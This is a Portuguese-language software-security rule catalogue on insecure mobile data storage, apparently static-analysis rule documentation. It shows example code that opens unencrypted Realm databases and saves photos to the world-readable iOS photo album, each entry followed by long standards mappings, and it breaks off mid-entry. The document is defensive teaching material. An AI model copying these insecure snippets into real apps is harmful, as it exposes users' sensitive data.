Reino: Encapsulation

Encapsulamento consiste em traçar limites fortes. Em um navegador web, isso pode significar que seu código para dispositivos móveis não pode ser abusado por outros códigos para dispositivos móveis. No servidor, pode significar a diferenciação entre dados validados e não validados, entre os dados de dois usuários ou entre os dados que os usuários podem ou não acessar.

104 itens encontrados
Vulnerabilidades
Abstract
O método identificado estabelece uma conexão com um banco de dados não criptografado.
Explanation
Os arquivos do aplicativo podem ser acessados por outros aplicativos em dispositivos com root ou em backups não criptografados. Como um usuário poderia decidir fazer o jailbreak de seu dispositivo ou realizar backups não criptografados, é uma prática recomendada criptografar bancos de dados que contenham dados confidenciais.

Exemplo 1: O código a seguir estabelece uma conexão com um banco de dados Realm não criptografado:


Realm realm = Realm.getDefaultInstance();
References
[1] Realm Database Encryption Realm
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 5.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 4
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark confidentiality
[7] Standards Mapping - CIS Kubernetes Benchmark complete
[8] Standards Mapping - Common Weakness Enumeration CWE ID 311
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002475
[10] Standards Mapping - FIPS200 MP
[11] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-28 Protection of Information at Rest
[14] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[15] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[16] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[17] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[18] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[19] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 6.2.1 Algorithms (L1 L2 L3), 8.1.6 General Data Protection (L3)
[21] Standards Mapping - OWASP Mobile 2014 M2 Insecure Data Storage
[22] Standards Mapping - OWASP Mobile 2023 M9 Insecure Data Storage
[23] Standards Mapping - OWASP Mobile 2024 M9 Insecure Data Storage
[24] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-STORAGE-1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.3
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.3
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.3
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.3
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 6.3 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 6.3 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography, Control Objective B.2.5 - Terminal Software Design
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 6.3 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography, Control Objective B.2.5 - Terminal Software Design
[33] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[34] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3310 CAT I, APP3340 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002340 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002340 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002340 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002340 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002340 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002340 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002340 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002340 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002340 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002340 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002340 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002340 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002340 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002340 CAT II
[56] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.dataflow.java.insecure_storage_missing_database_encryption
Abstract
O método identificado estabelece uma conexão com um banco de dados não criptografado.
Explanation
Os arquivos do aplicativo podem ser acessados por outros aplicativos em dispositivos com root ou em backups não criptografados. Como um usuário poderia decidir fazer o jailbreak de seu dispositivo ou realizar backups não criptografados, é uma prática recomendada criptografar bancos de dados que contenham dados confidenciais.

Exemplo 1: O código a seguir estabelece uma conexão com um banco de dados Realm não criptografado:


RLMRealmConfiguration *config = [RLMRealmConfiguration defaultConfiguration];
RLMRealm *realm = [RLMRealm realmWithConfiguration:config error:nil];
References
[1] Realm Cocoa Tutorial: Encryption with Realm Realm
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 5.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 4
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark confidentiality
[7] Standards Mapping - CIS Kubernetes Benchmark complete
[8] Standards Mapping - Common Weakness Enumeration CWE ID 311
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002475
[10] Standards Mapping - FIPS200 MP
[11] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-28 Protection of Information at Rest
[14] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[15] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[16] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[17] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[18] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[19] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 6.2.1 Algorithms (L1 L2 L3), 8.1.6 General Data Protection (L3)
[21] Standards Mapping - OWASP Mobile 2014 M2 Insecure Data Storage
[22] Standards Mapping - OWASP Mobile 2023 M9 Insecure Data Storage
[23] Standards Mapping - OWASP Mobile 2024 M9 Insecure Data Storage
[24] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-STORAGE-1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.3
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.3
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.3
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.3
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 6.3 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 6.3 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography, Control Objective B.2.5 - Terminal Software Design
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 6.3 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography, Control Objective B.2.5 - Terminal Software Design
[33] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[34] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3310 CAT I, APP3340 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002340 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002340 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002340 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002340 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002340 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002340 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002340 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002340 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002340 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002340 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002340 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002340 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002340 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002340 CAT II
[56] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.dataflow.objc.insecure_storage_missing_database_encryption
Abstract
O método identificado estabelece uma conexão com um banco de dados não criptografado.
Explanation
Os arquivos do aplicativo podem ser acessados por outros aplicativos em dispositivos com jailbreak ou em backups não criptografados. Como os desenvolvedores de aplicativos não podem controlar se o usuário decidirá fazer o jailbreak de seu dispositivo ou realizar backups não criptografados, é uma prática recomendada criptografar bancos de dados que contenham dados confidenciais.

Exemplo 1: O código a seguir estabelece uma conexão com um banco de dados Realm não criptografado:


let realm = try! Realm()
References
[1] Realm Cocoa Tutorial: Encryption with Realm Realm
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 5.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 4
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark confidentiality
[7] Standards Mapping - CIS Kubernetes Benchmark complete
[8] Standards Mapping - Common Weakness Enumeration CWE ID 311
[9] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002475
[10] Standards Mapping - FIPS200 MP
[11] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[12] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[13] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-28 Protection of Information at Rest
[14] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[15] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[16] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[17] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[18] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[19] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[20] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 6.2.1 Algorithms (L1 L2 L3), 8.1.6 General Data Protection (L3)
[21] Standards Mapping - OWASP Mobile 2014 M2 Insecure Data Storage
[22] Standards Mapping - OWASP Mobile 2023 M9 Insecure Data Storage
[23] Standards Mapping - OWASP Mobile 2024 M9 Insecure Data Storage
[24] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-STORAGE-1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.3
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.3
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.3
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.3
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 6.3 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 6.3 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography, Control Objective B.2.5 - Terminal Software Design
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 6.3 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography, Control Objective B.2.5 - Terminal Software Design
[33] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[34] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3310 CAT I, APP3340 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002340 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002340 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002340 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002340 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002340 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002340 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002340 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002340 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002340 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002340 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002340 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002340 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002340 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002340 CAT II
[56] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.dataflow.swift.insecure_storage_missing_database_encryption
Abstract
O método identificado grava dados não criptografados no álbum de fotos do iOS.
Explanation
Os arquivos salvos no álbum de fotos do iOS são de leitura para todos e podem ser acessados por qualquer aplicativo no dispositivo. Isso poderia permitir a um invasor roubar fotos confidenciais, tais como os de cheques utilizados para depósitos em cheque via celular.

Exemplo 1: Este código utiliza o UIImageWriteToSavedPhotosAlbum para salvar imagens no álbum de fotos:


- (void) imagePickerController:(UIImagePickerController *)picker didFinishPickingMediaWithInfo:(NSDictionary *)info
{
// Access the uncropped image from info dictionary
UIImage *image = [info objectForKey:UIImagePickerControllerOriginalImage];

// Save image
UIImageWriteToSavedPhotosAlbum(image, self, @selector(image:didFinishSavingWithError:contextInfo:), nil);

...
}
References
[1] iOS Security Guide Apple
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 5.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 4
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark confidentiality
[7] Standards Mapping - CIS Kubernetes Benchmark complete
[8] Standards Mapping - Common Weakness Enumeration CWE ID 313, CWE ID 359, CWE ID 921
[9] Standards Mapping - Common Weakness Enumeration Top 25 2019 [4] CWE ID 200
[10] Standards Mapping - Common Weakness Enumeration Top 25 2020 [7] CWE ID 200
[11] Standards Mapping - Common Weakness Enumeration Top 25 2021 [20] CWE ID 200
[12] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002475
[13] Standards Mapping - FIPS200 MP
[14] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[15] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[16] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-28 Protection of Information at Rest
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 6.1.1 Data Classification (L2 L3), 6.1.2 Data Classification (L2 L3), 6.1.3 Data Classification (L2 L3), 6.2.1 Algorithms (L1 L2 L3), 8.1.6 General Data Protection (L3), 8.2.2 Client-side Data Protection (L1 L2 L3), 8.3.4 Sensitive Private Data (L1 L2 L3), 10.2.1 Malicious Code Search (L2 L3)
[24] Standards Mapping - OWASP Mobile 2014 M2 Insecure Data Storage
[25] Standards Mapping - OWASP Mobile 2023 M9 Insecure Data Storage
[26] Standards Mapping - OWASP Mobile 2024 M9 Insecure Data Storage
[27] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-STORAGE-1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.3
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.3
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.3
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.3
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 6.3 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 6.3 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 6.3 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3310 CAT I, APP3340 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002340 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002340 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002340 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002340 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002340 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002340 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002340 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002340 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002340 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002340 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002340 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002340 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002340 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002340 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.objc.insecure_storage_missing_encryption_on_stored_private_media
Abstract
O método identificado grava dados não criptografados no álbum de fotos do iOS.
Explanation
Os arquivos salvos no álbum de fotos do iOS são de leitura para todos e podem ser acessados por qualquer aplicativo no dispositivo. Isso poderia permitir a um invasor roubar fotos confidenciais, tais como os de cheques utilizados para depósitos em cheque via celular.

Exemplo 1: Este código utiliza o UIImageWriteToSavedPhotosAlbum para salvar imagens no álbum de fotos:


func imagePickerController(picker: UIImagePickerController, didFinishPickingMediaWithInfo info: [NSObject : AnyObject]) {
if let pickedImage = info[UIImagePickerControllerOriginalImage] as? UIImage {
imageView.contentMode = .ScaleAspectFit
imageView.image = pickedImage
}

// Save image
UIImageWriteToSavedPhotosAlbum(pickedImage!, self, nil, nil)

dismissViewControllerAnimated(true, completion: nil)
}
References
[1] iOS Security Guide Apple
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 4.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 5.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 4
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark confidentiality
[7] Standards Mapping - CIS Kubernetes Benchmark complete
[8] Standards Mapping - Common Weakness Enumeration CWE ID 313, CWE ID 359, CWE ID 921
[9] Standards Mapping - Common Weakness Enumeration Top 25 2019 [4] CWE ID 200
[10] Standards Mapping - Common Weakness Enumeration Top 25 2020 [7] CWE ID 200
[11] Standards Mapping - Common Weakness Enumeration Top 25 2021 [20] CWE ID 200
[12] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002475
[13] Standards Mapping - FIPS200 MP
[14] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[15] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-28 Protection of Information at Rest (P1)
[16] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-28 Protection of Information at Rest
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 6.1.1 Data Classification (L2 L3), 6.1.2 Data Classification (L2 L3), 6.1.3 Data Classification (L2 L3), 6.2.1 Algorithms (L1 L2 L3), 8.1.6 General Data Protection (L3), 8.2.2 Client-side Data Protection (L1 L2 L3), 8.3.4 Sensitive Private Data (L1 L2 L3), 10.2.1 Malicious Code Search (L2 L3)
[24] Standards Mapping - OWASP Mobile 2014 M2 Insecure Data Storage
[25] Standards Mapping - OWASP Mobile 2023 M9 Insecure Data Storage
[26] Standards Mapping - OWASP Mobile 2024 M9 Insecure Data Storage
[27] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-STORAGE-1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.3
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.3
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.3
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.3
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 6.3 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 6.3 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 6.3 - Sensitive Data Protection, Control Objective 7 - Use of Cryptography
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 311
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 311
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3310 CAT I, APP3340 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3340 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3340 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3340 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3340 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3340 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3340 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002340 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002340 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002340 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002340 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002340 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002340 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002340 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002340 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002340 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002340 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002340 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002340 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002340 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002340 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.swift.insecure_storage_missing_encryption_on_stored_private_media
Abstract
O método identificado armazena dados no conjunto de chaves sem impor que o usuário defina uma senha para o dispositivo.
Explanation
Os níveis de acessibilidade de conjunto de chaves definem quando os itens do conjunto de chaves são descriptografados e disponibilizados para aplicativos. Os níveis possíveis de acessibilidade incluem:

